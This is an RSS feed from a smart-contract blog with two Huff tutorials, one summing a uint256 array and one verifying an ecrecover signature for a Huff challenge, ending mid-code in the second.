<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>PraneshASP ⚡</title>
        <link>https://paragraph.com/@praneshasp</link>
        <description>EVM | DeFi | SmartContracts 🚀</description>
        <lastBuildDate>Tue, 07 Apr 2026 17:43:30 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>PraneshASP ⚡</title>
            <url>https://storage.googleapis.com/papyrus_images/508d2852f3bfaa5810caf2cef80679e0f737dde4cddd2c28efdc87cdcc4033ab.png</url>
            <link>https://paragraph.com/@praneshasp</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[Huff By Example]]></title>
            <link>https://paragraph.com/@praneshasp/huff-by-example</link>
            <guid>OPJAAXbNX1aspaYgrnM6</guid>
            <pubDate>Sun, 01 Oct 2023 09:43:15 GMT</pubDate>
            <description><![CDATA[In this rapidly evolving landscape of blockchain technology, efficiency isn&apos;t just an advantage—it&apos;s a necessity. More the adoption is, the more congested the networks become (for now this is the case), hence the race for gas optimization intensifies, every opcode, every byte, and every operation counts. Enter Huff, a language so close to the metal of the Ethereum Virtual Machine (EVM) which has the potential to take on-chain possibilities to one step further. In this post, we’ll di...]]></description>
            <content:encoded><![CDATA[<p>In this rapidly evolving landscape of blockchain technology, efficiency isn&apos;t just an advantage—it&apos;s a necessity. More the adoption is, the more congested the networks become (for now this is the case), hence the race for <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://developers.circle.com/w3s/docs/gas-fees">gas</a> optimization intensifies, every <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://evm.codes">opcode</a>, every byte, and every operation counts. Enter <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://huff.sh">Huff</a>, a language so close to the metal of the Ethereum Virtual Machine (EVM) which has the potential to take on-chain possibilities to one step further.</p><p>In this post, we’ll dive into the basics of Huff by solving one of the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/rareskills/huff-puzzles/blob/main/src/SumArray.huff">Huff Puzzles created by RareSkills</a>. Whether you&apos;re a seasoned smart contract developer or a curious newcomer aiming to push the boundaries of what&apos;s possible in smart contract optimization, (I hope) this article serves as a guide to strengthen your Huff and EVM fundamentals.</p><p>So grab a cup of coffee, and let&apos;s get started with this walkthrough!</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/fd129246465f671074700a10c172794d4119d75d7f2e64baab0a2c878f419e74.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-background" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Background:</h2><p>Huff is a domain-specific low level EVM programming language created in 2019 by <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/Zac_Aztec">Zac Willamson</a> and team (Aztec protocol) to efficiently implement a form of elliptic curve multiplication library called <strong>weierstrudel.</strong></p><blockquote><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AztecProtocol/weierstrudel#weierstrudel-efficient-elliptic-curve-arithmetic-for-smart-contracts"><em>Weistrudel</em></a><em> is a ECC library  that helps to perform elliptic curve scalar multiplication on the short Weierstrass 254-bit Barreto-Naehrig curve. The contract will multiply up to 15 elliptic curve points with up to 15 different scalars.</em></p></blockquote><p>Since operations performed on elliptic curves can get quite complex, they cannot be often executed on-chain due the block’s gaslimit constraints. So Zac came up with a new language, Huff, to implement the library.</p><p>In general, Huff removes away all the abstraction provided by Solidity and grants a more granular level control over EVM even more than Yul which makes the resulting bytecode more optimized and efficient in terms of both size and gas consumption. Due to this reason, the adoption of Huff grew and people started to build their own <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/huff-language/huffmate">optimized version of libraries</a> and smart contracts.</p><p><strong>NB; Since Huff has no safety checks, things could also go the other way if the developers are not aware of what they’re actually doing.</strong></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/efea6f3d08687b6f272e25c0602702db4f18f2be8803233582cc25319aec557c.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Currently, Huff is completely open-source and is maintained by the community. Also the core developers recently migrated the entire Huff compiler implementation to Rust which is a great leap.</p><p>Okay, I think this is enough introduction to understand the need for having a separate language to write smart contracts. If you’re interested in reading more about Huff background, I recommend <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://medium.com/aztec-protocol/from-zero-to-nowhere-smart-contract-programming-in-huff-1-2-ba2b6de7fa83">this medium post written by Zac</a> himself.</p><h2 id="h-huff-syntax" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Huff syntax:</h2><p>Before diving into loops, I’ll give a quick intro to the basic Huff syntax, which is quite unique: no variables, no operators and no types.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>You can define your logic as macros or functions and plug it inside a jump table (function dispatcher). The function dispatcher is usually the <code>MAIN()</code> macro which transfers control to specific macros and functions based on the function selector.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/2d94a125b20551ccdc8bdf95ca0cce12f54d719eea4482433d27063accb652fd.png" alt="Basic Huff contract structure" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">Basic Huff contract structure</figcaption></figure><h2 id="h-the-puzzle" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The Puzzle:</h2><p>There are several puzzles in the `<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/RareSkills/huff-puzzles/tree/main">huff-puzzles</a>` repo. It is an awesome repo with challenges of various levels that could help you get better at Huff. Today, we’ll look into the `**<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/rareskills/huff-puzzles/blob/main/src/SumArray.huff">SumArray</a>**`  challenge which is all about implementing a contract in Huff with a function to accept an unsigned integer array (uint256), sum all the elements and return the sum.</p><p>The stub for the puzzle is given in the challenge contract:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/a4730aa4363fbbe297a8319a64041b780165b506fe7c3ed98ae5a6cccab3d795.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p><strong>Goal</strong>: Our implementation should satisfy the testcases defined in `<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/RareSkills/huff-puzzles/blob/main/test/SumArray.t.sol">SumArray.t.sol</a>`</p><h2 id="h-high-level-solution" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">High-level Solution:</h2><p>Before diving into the Huff solution, let’s do a quick reference implementation of our solution in a high-level language like Solidity. The solution contract would look like something like this:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c096a8645ef908f5e112e05ecd8b061f8474bb20f17fa68b8a45c0d65b4d761b.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Even though the above contract looks very simple, solidity handles a lot for us under the hood like bound check, offset calculation, calldata slicing, stack manipulation and more.</p><p>Let’s break it down.</p><ul><li><p>Bound checking: Everytime when we try to access an array element via indexing (_array[i]), the solc (solidity compiler) checks if the index i, is less than the array size. If not, it throws an Out-of-bounds exception.</p></li><li><p>Offset calculation: Offset calculation is required to calculate the position of the array elements which is required for retrieval by slicing the data from memory or calldata.</p></li><li><p>Stack manipulation: EVM is a stack based VM, so every operation is based on the stack operations like PUSH, POP, SWAP, DUP, etc.,. Solidity handles this for us under the hood.</p></li></ul><h2 id="h-huff-solution" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Huff Solution:</h2><p>We’ll be now converting the above reference implementation to Huff to solve this puzzle. Here’s the full solution if you wanna have a peek:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://gist.github.com/PraneshASP/d01626ae9c0b0148bcf13cded470e578">https://gist.github.com/PraneshASP/d01626ae9c0b0148bcf13cded470e578</a></p><p>Let’s go through the SUM_ARRAY() macro which handles all the logic with a sample input. Sample input: [1,3, 5] Expected output: 9 In EVM, everything is encoded into bytes. So there’s no difference between various types. It’s the solidity compiler which has all the type definitions and does all the heavy lifting to process the inputs and outputs for operations. So when we make a call to our Huff contract (sumArray(uint256[])) method with the above sample array as in input the calldata would be something like:</p><p><code>0x1e2aea0600000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000005</code></p><p>You can generate the above calldata in solidity with below piece of code:</p><pre data-type="codeBlock" text="bytes memory _calldata = abi.encodeWithSignature(“sumArray(uint256[])”, inputArray); 
"><code><span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> _calldata <span class="hljs-operator">=</span> <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(“sumArray(<span class="hljs-keyword">uint256</span>[])”, inputArray); 
</code></pre><p>The first 4 bytes is the function selector: 0x1e2aea06 is the function selector which will be used to pass control where the logic for the function resides. Next there is a 32 byte padded value: 0x20 which translates to 32 indicating the offset for every array element. Then the next 32 byte padded value: 0x3 indicates the number of array elements. Followed by 3, 32 byte padded values 1, 2 and 5, which is the input array. To read more about the function selector and argument encoding, I recommend the ABI Spec from Solidity docs: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.soliditylang.org/en/v0.8.21/abi-spec.html#">https://docs.soliditylang.org/en/v0.8.21/abi-spec.html#</a> The MAIN() macro:</p><pre data-type="codeBlock" text="#define macro MAIN() = takes(0) returns(0) {
 // Identify which function is being called.
    0x00 calldataload
    
    // Extract the function singature
    0xe0 shr

    // Jump table
    dup1 __FUNC_SIG(sumArray) eq  sumArray  jumpi

    // Revert if the selector doesn&apos;t match
    0x00 0x00 revert

    sumArray:
          SUM_ARRAY()   
}
"><code><span class="hljs-selector-id">#define</span> macro <span class="hljs-selector-tag">MAIN</span>() = <span class="hljs-built_in">takes</span>(<span class="hljs-number">0</span>) <span class="hljs-built_in">returns</span>(<span class="hljs-number">0</span>) {
 <span class="hljs-comment">// Identify which function is being called.</span>
    <span class="hljs-number">0</span>x00 calldataload
    
    <span class="hljs-comment">// Extract the function singature</span>
    <span class="hljs-number">0</span>xe0 shr

    <span class="hljs-comment">// Jump table</span>
    dup1 <span class="hljs-built_in">__FUNC_SIG</span>(sumArray) eq  sumArray  jumpi

    <span class="hljs-comment">// Revert if the selector doesn't match</span>
    <span class="hljs-number">0</span>x00 <span class="hljs-number">0</span>x00 revert

    sumArray:
          <span class="hljs-built_in">SUM_ARRAY</span>()   
}
</code></pre><p>This is the entry point and it acts as the function dispatcher. It receives the calldata, right shifts the data by 224 bits to the right to extract the function selector. Then we check if the input signature matches one of the functions signature, in this case its sumArray. If it matches, the control will be passed to the SUM_ARRAY() macro, otherwise the call will be reverted.</p><p>Let’s break down the implementation of SUM_ARRAY() macro for our sample input for 1 iteration:</p><h4 id="h-initialize-array-length" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Initialize Array Length:</h4><pre data-type="codeBlock" text="0x44 calldatasize sub        // [96] array length is 3 * 32
"><code><span class="hljs-number">0x44</span> calldatasize sub        <span class="hljs-comment">// [96] array length is 3 * 32</span>
</code></pre><p>Subtracts 68 (0x44) from the calldata size to get the length of the array, pushing it onto the stack. We subtract 68 because we know the first 4 bytes are for function selector and the remaining 64 bytes are for offset size and array length. Initialize Sum and Index:</p><pre data-type="codeBlock" text="push0                // [0, 96] sum=0
push0                // [0, 0, arrayLength] i=0
"><code>push0                // <span class="hljs-section">[0, 96]</span> <span class="hljs-attr">sum</span>=<span class="hljs-number">0</span>
push0                // <span class="hljs-section">[0, 0, arrayLength]</span> <span class="hljs-attr">i</span>=<span class="hljs-number">0</span>
</code></pre><p>Push two zeroes onto the stack. The first zero is for the sum accumulator, and the second zero is for the index <code>i</code>.</p><h4 id="h-loop-start-label" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Loop Start Label:</h4><pre data-type="codeBlock" text="loopBegin:  
"><code><span class="hljs-section">loopBegin:  </span>
</code></pre><p>Define the label <code>loopBegin</code> to jump back to for each iteration of the loop.</p><p>Note that this is just a label to mark the start of a block.</p><h4 id="h-check-if-i-less-arraysize" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Check if i &lt; arraySize:</h4><pre data-type="codeBlock" text="dup3 dup2               // [0, 96, 0, 0]
0x20 mul                // [0*32, 96, 0, 96]  
lt iszero end jumpi     // [0 &lt; 96, 0, 0, 96]
"><code>dup3 dup2               <span class="hljs-comment">// [0, 96, 0, 0]</span>
<span class="hljs-number">0x20</span> mul                <span class="hljs-comment">// [0*32, 96, 0, 96]  </span>
lt iszero end jumpi     <span class="hljs-comment">// [0 &#x3C; 96, 0, 0, 96]</span>
</code></pre><p>Duplicates the <code>i</code> and <code>arrayLength</code> values, multiplies <code>i</code> by 32, and checks whether <code>i*32</code> is less than <code>arrayLength</code>. If it&apos;s not, it jumps to the <code>end</code> label to terminate the loop. We multiply index i with 32 because each element is 32 bytes. So in 2nd iteration, i will be 1 and we check 1<em>32 &lt; 96 true, then continue. Next iteration, i</em>32 will be 64 so iteration still continues. When its 4th iteration, i will be 3 so i*32 will be 96 which is not less than 96 so the control jumps to the end block .</p><h4 id="h-accessing-array-elements" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Accessing Array Elements</h4><pre data-type="codeBlock" text="dup1 0x20 mul            // [0*32, 0, 0, 96]
0x44 add                 // [0*32 + 68, 0, 0, 96]
calldataload             // [arr[i]:1, 0, 0, 96]
"><code>dup1 <span class="hljs-number">0x20</span> mul            <span class="hljs-comment">// [0*32, 0, 0, 96]</span>
<span class="hljs-number">0x44</span> <span class="hljs-keyword">add</span>                 <span class="hljs-comment">// [0*32 + 68, 0, 0, 96]</span>
calldataload             <span class="hljs-comment">// [arr[i]:1, 0, 0, 96]</span>
</code></pre><p>Calculates the offset to access the <code>i-th</code> element from calldata and loads it onto the stack. calldataload is an opcode that takes in offset as input and loads 32-byte value starting from the given offset. So in out case the offset is 68, so calldataload will copy 32 bytes from byte 69.</p><p>0x1e2aea0600000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000003<strong><em>0000000000000000000000000000000000000000000000000000000000000001</em></strong>00000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000005</p><p>So in the first iteration 0x1 (left padded) will be copied to the stack. In the next iteration, 3 will be copied and in the final iteration 5 will be copied to the stack.</p><h4 id="h-update-sum" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Update Sum:</h4><pre data-type="codeBlock" text="dup3                     // [sum:0, arr[i]:1, i:0, sum:0, arrayLength:96]    
add                      // [sum + arr[i]:1, i:0, oldSum:0, arrayLength:96]	 
swap2 pop                // [i:0, newSum:1, arrayLength:96]
"><code>dup3                     <span class="hljs-comment">// [sum:0, arr[i]:1, i:0, sum:0, arrayLength:96]    </span>
<span class="hljs-keyword">add</span>                      <span class="hljs-comment">// [sum + arr[i]:1, i:0, oldSum:0, arrayLength:96]	 </span>
swap2 pop                <span class="hljs-comment">// [i:0, newSum:1, arrayLength:96]</span>
</code></pre><p>Here, we bring the sum to top of the stack and add with arr[i] to calculate the new sum. Then once the new sum is calculated, swap the new sum with the old sum and pop the old sum from the stack.</p><h4 id="h-increment-index" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Increment Index:</h4><pre data-type="codeBlock" text="0x1 add          // [i++, newSum:1, arraylength:96]
loopBegin jump	// Jump to loopBegin label
"><code><span class="hljs-number">0x1</span> <span class="hljs-keyword">add</span>          <span class="hljs-comment">// [i++, newSum:1, arraylength:96]</span>
loopBegin jump	<span class="hljs-comment">// Jump to loopBegin label</span>
</code></pre><p>Increments <code>i</code> by 1 and jumps back to <code>loopBegin</code> for the next iteration. So this process continues till index value is 3. When i=3, the array index check fails, as 3*32 is not less than 96. Hence the control will be transferred to the end block:</p><h4 id="h-loop-end" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Loop End</h4><pre data-type="codeBlock" text="/// Stack: [index, finalSum, arrayLength]
end:
pop                     // [finalSum, arrayLength] : pops index out of stack
push0 mstore            // [arrayLength] : store final sum in memory
0x20 push0 return	      // Return the sum of the array from memory 
"><code><span class="hljs-comment">/// Stack: [index, finalSum, arrayLength]</span>
end:
pop                     <span class="hljs-comment">// [finalSum, arrayLength] : pops index out of stack</span>
push0 mstore            <span class="hljs-comment">// [arrayLength] : store final sum in memory</span>
<span class="hljs-number">0x20</span> push0 <span class="hljs-keyword">return</span>	      <span class="hljs-comment">// Return the sum of the array from memory </span>
</code></pre><p>Pops the remaining <code>index</code> from the stack and stores the final sum at memory location 0. Then returns 32 bytes starting from memory location 0, which contains the final sum.</p><blockquote><p><strong>Note: The above example is not most optimized and there are no safety checks like overflow protection. The goal of this post is to help developers understand the basics of Huff actually by writing a contract. Hence it should not be used in production.</strong></p></blockquote><p>If you&apos;ve followed along this far, kudos to you! 🥳🎉 Even though we cannot cover the entire under-the-hood topics in a single post, I tried to cover most of the important details. So feel free to read it multiple times until you fully understand it at your own pace.</p><h3 id="h-gas-comparison" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Gas comparison:</h3><p>I quickly ran a quick comparison of gas consumption for both the implementations. Here are the results:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/8c5a51aa32a213fe8a6d20e3753fc55f3ce5884668180c94bd24ef45b2be42c8.png" alt="Gas Comparison" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">Gas Comparison</figcaption></figure><p>You can see that <strong>SumArrayHuff::sumArray()</strong> call costs 916 gas whereas <strong>SumArraySol::sumArray()</strong> costs around 2910 gas which is like ~3x more than that of Huff.</p><p>Here’s the repo with the tests. You can run tests and see the difference in gas cost:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/PraneshASP/huff-sum-array">https://github.com/PraneshASP/huff-sum-array</a></p><h3 id="h-conclusion" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Conclusion:</h3><p>Huff may seem intimidating at first glance, but it offers an unparalleled level of control and optimization. Being mindful of gas costs and storage operations can make your smart contracts perform better and cost less. This example illustrates how fundamental operations like summing an array can be optimized for gas consumption.</p><p><strong>“With great power comes great responsibility</strong>“</p><p>Since Huff grants you the power of complete access to stack and opcodes, the developers should be super careful and should be aware of what they implement.</p><p><strong>Gotchas to Remember:</strong></p><ol><li><p>Huff can be gas-efficient but a tiny mistake can cost a lot. Always test thoroughly.</p></li><li><p>Huff and inline assembly don&apos;t have the rich debugging tools that higher-level languages offer. <strong>You&apos;ll need to be extra careful.</strong></p></li></ol><p>By diving into Huff, you&apos;ll understand what happens under the hood, so you’d be better equipped to write more efficient, cost-effective smart contracts. Until the next time, keep coding and stay curious!🚀</p>]]></content:encoded>
            <author>praneshasp@newsletter.paragraph.com (PraneshASP ⚡)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/a827e981510f1c4293b22fea085240cfeaafd8a522e9052b593af785a9178c75.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Walkthrough: Huff Challenge #5]]></title>
            <link>https://paragraph.com/@praneshasp/walkthrough-huff-challenge-5</link>
            <guid>VYHIqe8k24LdrwEjy14e</guid>
            <pubDate>Thu, 13 Jul 2023 15:35:40 GMT</pubDate>
            <description><![CDATA[In this article, we’re going to have a look into the solution for Huff Challenge #5. If you wanna check-out the solutions for other challenges, look here.The Challenge:The challenge we&apos;re examining today revolves around message signatures. Our goal is to create a contract using Huff, that takes a signature as input from the calldata, verifies if the message was indeed signed by the sender of the transaction, and returns true if it was. If the message wasn&apos;t signed by the sender or i...]]></description>
            <content:encoded><![CDATA[<p>In this article, we’re going to have a look into the solution for <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/huff_language/status/1586401774927126528">Huff Challenge #5</a>. If you wanna check-out the solutions for other challenges, look <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://mirror.xyz/0xF314e9Cc3D5F382669eeB01d31f421aF931b9eBB">here</a>.</p><h1 id="h-the-challenge" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The Challenge:</h1><p>The challenge we&apos;re examining today revolves around message signatures. Our goal is to create a contract using Huff, that takes a signature as input from the calldata, verifies if the message was indeed signed by the sender of the transaction, and returns true if it was. If the message wasn&apos;t signed by the sender or if the calldata doesn&apos;t adhere to the expected structure, we want the contract to do something that causes the transaction to run out of gas.</p><h1 id="h-solution" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution:</h1><p>Here’s the solution for your quick glance:</p><pre data-type="codeBlock" text="#define macro MAIN() = takes (0) returns (0) {
    /// Check if calldatasize is 97 bytes (MessageHash=32, Signature=65)
    calldatasize 
    0x61 eq 
    extractParamsAndStore jumpi

    oog jump
        
    extractParamsAndStore:
    /// Store the message hash
    0x00 calldataload
    0x00 mstore

    /// Store &apos;v&apos;
    0x60 calldataload
    0x3f mstore

    /// Store &apos;r&apos;
    0x20 calldataload
    0x40 mstore 
    
    /// Store &apos;s&apos;
    0x40 calldataload
    0x60 mstore 
    
    /// Prepare stack for &apos;ecrecover&apos; staticcall 
    0x20 
    0x00 
    0x80 
    0x00 
    chainid 
    gas
    staticcall validate jumpi

    oog jump

    /// Check if caller==retdata (signer address)
    validate:
    0x00 mload 
    dup1
    caller 
    eq valid jumpi

    oog jump

    // Return true
    valid: 
    chainid 
    0x00 mstore
    0x20 0x00 return

    // out-of-gas
    oog:
    0x01 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff mstore
"><code><span class="hljs-meta">#<span class="hljs-keyword">define</span> macro MAIN() = takes (0) returns (0) {</span>
    <span class="hljs-comment">/// Check if calldatasize is 97 bytes (MessageHash=32, Signature=65)</span>
    calldatasize 
    <span class="hljs-number">0x61</span> eq 
    extractParamsAndStore jumpi

    oog jump
        
    extractParamsAndStore:
    <span class="hljs-comment">/// Store the message hash</span>
    <span class="hljs-number">0x00</span> calldataload
    <span class="hljs-number">0x00</span> mstore

    <span class="hljs-comment">/// Store 'v'</span>
    <span class="hljs-number">0x60</span> calldataload
    <span class="hljs-number">0x3f</span> mstore

    <span class="hljs-comment">/// Store 'r'</span>
    <span class="hljs-number">0x20</span> calldataload
    <span class="hljs-number">0x40</span> mstore 
    
    <span class="hljs-comment">/// Store 's'</span>
    <span class="hljs-number">0x40</span> calldataload
    <span class="hljs-number">0x60</span> mstore 
    
    <span class="hljs-comment">/// Prepare stack for 'ecrecover' staticcall </span>
    <span class="hljs-number">0x20</span> 
    <span class="hljs-number">0x00</span> 
    <span class="hljs-number">0x80</span> 
    <span class="hljs-number">0x00</span> 
    chainid 
    gas
    staticcall validate jumpi

    oog jump

    <span class="hljs-comment">/// Check if caller==retdata (signer address)</span>
    validate:
    <span class="hljs-number">0x00</span> mload 
    dup1
    caller 
    eq valid jumpi

    oog jump

    <span class="hljs-comment">// Return true</span>
    valid: 
    chainid 
    <span class="hljs-number">0x00</span> mstore
    <span class="hljs-number">0x20</span> <span class="hljs-number">0x00</span> <span class="hljs-keyword">return</span>

    <span class="hljs-comment">// out-of-gas</span>
    oog:
    <span class="hljs-number">0x01</span> <span class="hljs-number">0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff</span> mstore
</code></pre><p>If the above code is all Greek and Latin to you, don’t worry. I’m here to break it down for you.</p><pre data-type="codeBlock" text="#define macro MAIN() = takes (0) returns (0) {
    calldatasize 
    0x61 eq 
    extractParamsAndStore jumpi

    oog jump
"><code><span class="hljs-section">#define macro MAIN() = takes (0) returns (0) {</span>
<span class="hljs-code">    calldatasize 
    0x61 eq 
    extractParamsAndStore jumpi
</span>
<span class="hljs-code">    oog jump
</span></code></pre><p>The first part of the contract is responsible for checking whether the <code>calldatasize</code> equals <code>0x61</code> (which is the hexadecimal representation of <code>97</code> in decimal). <code>97</code> bytes is the expected size of the calldata (MessageHash=32 bytes, Signature=65 bytes). If the size is correct, it jumps to the <code>extractParamsAndStore</code> label. Otherwise, it jumps to the <code>oog</code> (out-of-gas) label to make the transaction run out of gas.</p><p><strong><em>Assumption</em></strong>*: The contract assumes that the calldata is structured in a specific way (message hash first, followed by the v, r, s components of the signature). If the input doesn&apos;t follow this structure, the contract won&apos;t function as intended.*</p><p>Next, we extract parameters from the calldata:</p><pre data-type="codeBlock" text="  extractParamsAndStore:
    0x00 calldataload
    0x00 mstore

    0x60 calldataload
    0x3f mstore

    0x20 calldataload
    0x40 mstore 

    0x40 calldataload
    0x60 mstore 
"><code>  extractParamsAndStore:
<span class="hljs-code">    0x00 calldataload
    0x00 mstore
</span>
<span class="hljs-code">    0x60 calldataload
    0x3f mstore
</span>
<span class="hljs-code">    0x20 calldataload
    0x40 mstore 
</span>
<span class="hljs-code">    0x40 calldataload
    0x60 mstore 
</span></code></pre><p>This part of the code extracts and stores the message hash, v, r, and s values from the calldata. These values represent the signed message we&apos;re looking for. The <code>calldataload</code> operation takes the start byte from the calldata, and <code>mstore</code> stores this data in memory.</p><p>We then prepare the stack with parameters for the <code>ecrecover</code> call:</p><pre data-type="codeBlock" text="    0x20 
    0x00 
    0x80 
    0x00 
    chainid 
    gas
    staticcall validate jumpi

    oog jump
"><code><span class="hljs-code">    0x20 
    0x00 
    0x80 
    0x00 
    chainid 
    gas
    staticcall validate jumpi
</span>
<span class="hljs-code">    oog jump
</span></code></pre><p>A staticcall is made to the precompiled contract residing at the address <code>0x01</code>. It implements the <code>ecrecover</code> method. It is used to extract the signer’s address from the signature using message hash, v, r, and s values as input. The <code>jumpi</code> instruction then checks the outcome of the <code>ecrecover</code> call. If it&apos;s successful, the control gets transferred to the <code>validate</code> label. Otherwise, it jumps to <code>oog</code>, causing the transaction to run out of gas.</p><p><strong><em>Assumption</em></strong><em>: The above piece of code assumes that the contract will be deployed on the Ethereum mainnet as you can see we use </em><code>chainid</code><em> as the target address of static call where the precompile for </em><code>ecrecover</code><em> resides. To learn more about precompiles, </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.evm.codes/precompiled"><em>look here</em></a><em>.</em></p><p>The contract then verifies if the extracted signer’s address matches the transaction sender’s address:</p><pre data-type="codeBlock" text="  validate:
    0x00 mload          // [rcvd_address]
    dup1                // [rcvd_address, rcvd_address]
    caller              // [msg.sender, rcvd_address]
    eq valid jumpi      // [msg.sender == rcvd_address?]

    oog jump            // if not equal, jump to out-of-gas block
"><code>  validate:
    <span class="hljs-number">0x00</span> mload          <span class="hljs-comment">// [rcvd_address]</span>
    dup1                <span class="hljs-comment">// [rcvd_address, rcvd_address]</span>
    caller              <span class="hljs-comment">// [msg.sender, rcvd_address]</span>
    eq valid jumpi      <span class="hljs-comment">// [msg.sender == rcvd_address?]</span>

    oog jump            <span class="hljs-comment">// if not equal, jump to out-of-gas block</span>
</code></pre><p>The <code>mload</code> operation loads the signer&apos;s address from memory which is be the return value of the <code>ecrecover</code> call, <code>dup1</code> duplicates this address on the stack, and <code>caller</code> gets the address of the transaction sender. The <code>eq</code> operation checks if the two addresses match. If they do, the program jumps to the <code>valid</code> label. Otherwise, it jumps to <code>oog</code>, again causing the transaction to run out of gas.</p><p>Finally, the contract returns true in the case of a valid signature:</p><pre data-type="codeBlock" text="valid: 
  chainid 
  0x00 mstore
  0x20 0x00 return
"><code>valid: 
  chainid 
  <span class="hljs-number">0x00</span> mstore
  <span class="hljs-number">0x20</span> <span class="hljs-number">0x00</span> <span class="hljs-keyword">return</span>
</code></pre><p>This section stores the current chain id (which serves as a boolean value <em>0x01</em> for <em>Mainnet</em> to represent <em>true</em>) into memory and returns it.</p><p>And in case of invalid calldata or signature, we run out of gas:</p><pre data-type="codeBlock" text="oog:
  0x01 
  0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff            

  mstore
"><code><span class="hljs-section">oog:</span>
  0x01 
